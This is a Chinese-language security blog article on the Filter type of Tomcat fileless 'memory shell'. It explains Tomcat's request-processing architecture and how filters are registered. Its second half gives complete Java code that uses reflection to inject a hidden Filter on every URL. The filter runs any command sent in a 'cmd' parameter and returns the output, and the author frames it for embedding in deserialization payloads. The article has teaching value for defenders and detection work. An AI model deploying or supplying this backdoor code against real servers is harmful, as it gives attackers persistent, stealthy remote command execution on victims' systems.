【技術分享】Tomcat 內存馬技術分析— Filter型
內存馬技術早在前幾年就已經在廣泛使用,通俗的名字為不落地馬或者無文件馬。這種馬的實現技術相對于傳統馬來說更為復雜,但是隨著產品安全防護等級的不斷提高,內存馬技術也就運用而生。好在是這一塊領域很多師傅都以已經趟過坑了,筆者站在巨人的肩膀上總結梳理內存馬技術,打算出一個系列專題詳細分析tomcat內存馬的不同類型以及其內存馬檢測及查殺技術。
0×1 內存馬種類
現有的內存馬主要分為四個類型,Listener型、Filter型、Servlet型以及Agent型,不同類型的內存馬涉及到的知識點也不太一樣。在用戶請求網站的時候, 前三個內存馬的觸發順序為Listener -> Filter -> Servlet。

1、Listener型
一開始在學習Tomcat內存馬技術的時候,對該Listener型內存木馬有些生疏。Listener是Java web中的監聽器,不熟悉的小伙伴很容易將Listener理解成跟端口監聽有關的功能模塊,其實這里的監聽指的是監測某個java對象成員變量或成員方法的變化,當被監聽對象發生上述變化后,監聽器某個方法將會被立即執行。Listener內存馬是通過動態注冊一個Listener,其監聽到某個參數傳入時,觸發某個監聽器方法,實現內存馬功能。
2、Filter型
如上圖所示Filter處在請求處理的關鍵位置,如果是寫過Java web的小伙伴,必然對Filter的配置有深刻的印象,一般在項目的web.xml中注冊Filter來對某個Servlet程序進行攔截處理。這個注冊的Filter就變成了客戶端訪問和最終負責請求數據處理之間的必經之路,如果我們對Filter中的內容進行修改,就可以實現請求數據預處理。
3、Servlet型
Servlet在Java web開發和安全審計中最常用到的名詞,Servlet一般與訪問路由對應。Servlet的生命周期在Web容器啟動的時候就開始了,當Context獲得請求時,將在自己的映射表中尋找相匹配的Servlet類。Servlet型的核心原理是注冊一個惡意的Servlet,并把Servlet與相對應的URL綁定。
0×2 Tomcat架構分析
內存馬的學習過程其實和反序列化很相似,如果會使用內存馬很簡單,但是要知道如何構造就需要很多前置知識。這就好比在學反序列化時要學習反射和動態代理等java的特性。那么在學習Tomcat內存馬的時候就需要掌握Tomcat相關架構特性。
1、簡介
Tomcat是一個免費的開放源代碼的Servlet容器,Tomcat 容器是對 Servlet 規范的實現,也稱為 Servlet 引擎。Tomcat為了更好的處理來自客戶端的請求,設計了一套功能完善的處理引擎,其中包括了Container、Engine、Host、Context、Wrapper等模塊功能。筆者重點分析他們之間的關聯關系及架構組成。
2、架構組成

從上圖可以粗略的分析出他們之間的層級調用關系。
- Server:表示整個 Tomcat Catalina servlet 容器,Server 中可以有多個 Service。
- Service:表示Connector和Engine的組合,對外提供服務,Service可以包含多個Connector和一個Engine。
- Connector:為Tomcat Engine的連接組件,支持三種協議:HTTP/1.1、HTTP/2.0、AJP。
- Container:負責封裝和管理Servlet 處理用戶的servlet請求,把socket數據封裝成Request,傳遞給Engine來處理。
- Engine:頂級容器,不能被其他容器包含,它接受處理連接器的所有請求,并將響應返回相應的連接器,子容器通常是 Host 或 Context。
- Host:表示一個虛擬主機,包含主機名稱和IP地址,這里默認是localhost,父容器是 Engine,子容器是 Context。
- Context:表示一個 Web 應用程序,是 Servlet、Filter 的父容器。
- Wrapper:表示一個 Servlet,它負責管理 Servlet 的生命周期,并提供了方便的機制使用攔截器。
3、關聯關系

從一次服務訪問請求探究他們之間的組成關系,如上圖所示,配置了HTTP和Ajp兩個對外開放端口,同時對應了兩個Connector分別負責請求數據包的封包、處理、轉發工作,該過程如下圖Connector中顯示的操作流程。Connector將解析好的Request對象傳遞給Container,Container 使用Pipeline-Valve管道來處理請求,如下圖Pipeline請求流程。直到WrapperValve創建并調用ApplicationFilterChain,最后調用Servlet執行路由處理。

4、Connector
Connector是Tomcat中的連接器,在Tomcat啟動時它將監聽配置文件中配置的服務端口,從端口中接受數據,并封裝成Request對象傳遞給Container組件,如下圖所示:

tomcat 中 ProtocolHandler 的默認實現類是 Http11NioProtocol,在高版本tomcat中Http11Nio2Protocol也是其中的一個實現類。
ProtocolHandler來處理網絡連接和應用層協議,包含兩個重要組件:endpoint和processor,endpoint是通信端點,即通信監聽的接口,是具體的socket接受和發送處理器,是對傳輸層的抽象,processor接受來自endpoint的socket,讀取字節流解析成Tomcat的request和response對象,并通過adapter將其提交到容器處理,processor是對應用層協議的抽象。總結如下:
- endpoint:處理來自客戶端的連接請求。
- processor:接受來自endpoint的socket,讀取字節流解析成Tomcat的request和response對象。
- adapter:將封裝好的request轉交給Container處理,連接Connector和Container。
5、Container
在Tomcat中,容器(Container)主要包括四種,Engine、Host、Context和Wrapper。也就是這個圖中包含的四個子容器。由下圖可以看出,Container在處理請求時使用的Pipeline管道,Pipeline 是一個很常用的處理模型,和 FilterChain 大同小異,都是責任鏈模式的實現,Pipeline 內部有多個 Valve,這些 Valve 因棧的特性都有機會處理請求和響應。上層的Valve會調用下層容器管道,一步一步執行到FilterChain過濾鏈。

6、Context
servletContext負責的是servlet運行環境上下信息,不關心session管理,cookie管理,servlet的加載,servlet的選擇問題,請求信息,主要負責servlet的管理。
StandardContext主要負責管理session,Cookie,Servlet的加載和卸載,負責請求信息的處理,掌握控制權。ServletContext主要是適配Servlet規范,StandardContext是tomcat的一種容器,當然兩者存在相互對應的關系。

在Tomcat中對應的ServletContext實現是ApplicationContext。Tomcat慣用Facade方式,因此在web應用程序中獲取到的ServletContext實例實際上是一個ApplicationContextFacade對象,對ApplicationContext實例進行了封裝。而ApplicationContext實例中含有Tomcat的Context容器實例(StandardContext實例,也就是在server.xml中配置的Context節點),以此來獲取/操作Tomcat容器內部的一些信息,例如獲取/注冊servlet等。Filter內存馬的實現也是基于此知識點獲取到了存儲在StandardContext中的filterConfigs HashMap結構。
0×3 環境搭建
采用簡單的Spring-boot可以快速搭建web項目,并且使用Spring內置的輕量級Tomcat服務,雖然該Tomcat閹割了很多功能,但是基本夠用。整個demo放在了github上,地址為https://github.com/BabyTeam1024/TomcatResponseLearn
1、創建項目
選擇Spring Initializr

2、添加代碼
在項目的package中創建controller文件夾,并編寫TestController類
package com.example.tomcatresponselearn.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@Controller
@RequestMapping("/app")
public class TestController {
@RequestMapping("/test")
@ResponseBody
public String testDemo(String input, HttpServletResponse response) throws IOException {
return "Hello World!";
}
}
正常在編寫Spring-boot代碼的時候是不需要在testDemo函數中添加調用參數的。這里為了方便查看Response對象,因此在該函數上添加了HttpServletResponse。
3、添加Maven地址
在ubuntu上搭建環境的時候遇到了依賴包下載失敗的情況。

添加如下倉庫地址即可解決問題
https://repo.maven.apache.org/maven2
0×4 Filter內存馬
1、Tomcat 加載注冊Filter
在StandardContext類中的startInternal方法里可以看到這樣的加載順序

先啟動listener,再者是Filter,最后是Servlet。詳細分析filterStart中是如何加載Filter鏈的,相關代碼如下圖所示:

首先通過遍歷從filterDefs中獲取key和value,將value封裝為ApplicationFilterConfig對象放入filterConfigs變量中。
筆者為了研究Tomcat在啟動時是如何將Filter添加到FilterMap中的,于是在StandardContext類的add方法中下了斷點,如下圖所示:

根據調用棧可以溯源Tomcat是如何加載這些filter的,如下圖所示:

根據該調用棧可以發現Tomcat是通過addMappingForUrlPatterns實現Filter加載,該部分代碼如下圖所示:

servletContext.addFilter中的實現邏輯如下
filterDef = new FilterDef(); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); this.context.addFilterDef(filterDef);
在addFilter函數的最后創建并返回了ApplicationFilterRegistration對象,并通過addMappingForUrlPatterns方法注冊路由,相關實現邏輯如下:
FilterMap filterMap = new FilterMap(); filterMap.setFilterName(this.filterDef.getFilterName()); filterMap.setDispatcher(dispatcherType.name()); filterMap.addURLPattern(urlPattern); this.context.addFilterMapBefore(filterMap);
其中涉及到了三個比較重要的變量:
- filterDefs:包含過濾器實例和名稱
- filterMaps:包含所有過濾器的URL映射關系
- filterConfigs:包含所有與過濾器對應的filterDef信息及過濾器實例
2、動態添加Filter
根據Tomcat注冊Filter的操作,可以大概得到如何動態添加一個Filter
- 獲取standardContext
- 創建Filter
- 使用filterDef封裝Filter對象,將filterDef添加到filterDefs
- 創建filterMap,將URL和filter進行綁定,添加到filterMaps中
- 使用ApplicationFilterConfig封裝filterDef對象,添加到filterConfigs中
通過分析得到動態添加Filter只需5個步驟,下面筆者將根據Tomcat注冊Filter的操作,通過反射操作實現動態添加Filter。
①獲取standardContext
獲取standardContext多種多樣,StandardContext主要負責管理session,Cookie,Servlet的加載和卸載。因此在Tomcat中的很多地方都有保存。如果我們能夠直接獲取request的時候,可以使用以下方法直接獲取context。
Tomcat在啟動時會為每個Context都創建個ServletContext對象,表示一個Context。從而可以將ServletContext轉化為StandardContext。
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
獲取到standardContext就可以很方便的將其他對象添加在Tomcat Context中。
②創建Filter
直接在代碼中實現Filter實例,需要重寫三個重要方法,init、doFilter、destory,如下面代碼所示:
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
在doFilter方法中實現命令執行回顯功能。
③創建filterDef封裝Filter對象
為了之后將內存馬融合進反序列化payload中,這里特意使用反射獲取FilterDef對象。如果使用的是jsp或者是非反序列化的利用,那么可以直接使用new創建對象。
Class FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
setFilter方法將自己創建的Filter綁定在FilterDef中,setFilterName設置的是Filter的名稱,最后把FilterDef添加在standardContext的FilterDefs變量中。
④創建filterMap綁定URL
通過反射創建FilterMap實例,該部分代碼主要是注冊filter的生效路由,并將FilterMap對象添加在standardContext中FilterMaps變量的第一個。
Class FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());//只支持 Tomcat 7.x 以上
standardContext.addFilterMapBefore(o1);
⑤獲取filterConfigs變量,并向其中添加filterConfig對象
首先獲取在standardContext中存儲的filterConfigs變量。
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
之后通過反射生成ApplicationFilterConfig對象,并將其放入filterConfigs hashMap中。
Class ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
3、完整代碼
完整代碼主要參照了nice_0e3師傅的文章,在最后結果輸出的時候要注意如果有兩次response結果需要將第一次的Writer flush 掉,避免在后臺報錯。
Field Configs = null;
Map filterConfigs;
try {
//Step 1
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
//Step 2
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//Step 3
Class FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//Step 4
Class FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//Step 5
Class ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
}
} catch (Exception e) {
e.printStackTrace();
}
0×5 總結
本文主要學習了Tomcat架構組成及各模塊組件之間的關聯關系,重點分析Connector、Container和Context在整個數據請求處理過程中發揮的作用。通過梳理Tomcat在啟動過程中FilterChain的注冊流程,分析清楚如何動態注冊加載自己設計的Filter對象。之后的文章將繼續分析Tomcat內存馬Listener、Servlet等實現技術以及各種查殺技術,最后感謝各位師傅關于內存馬知識的總結分享。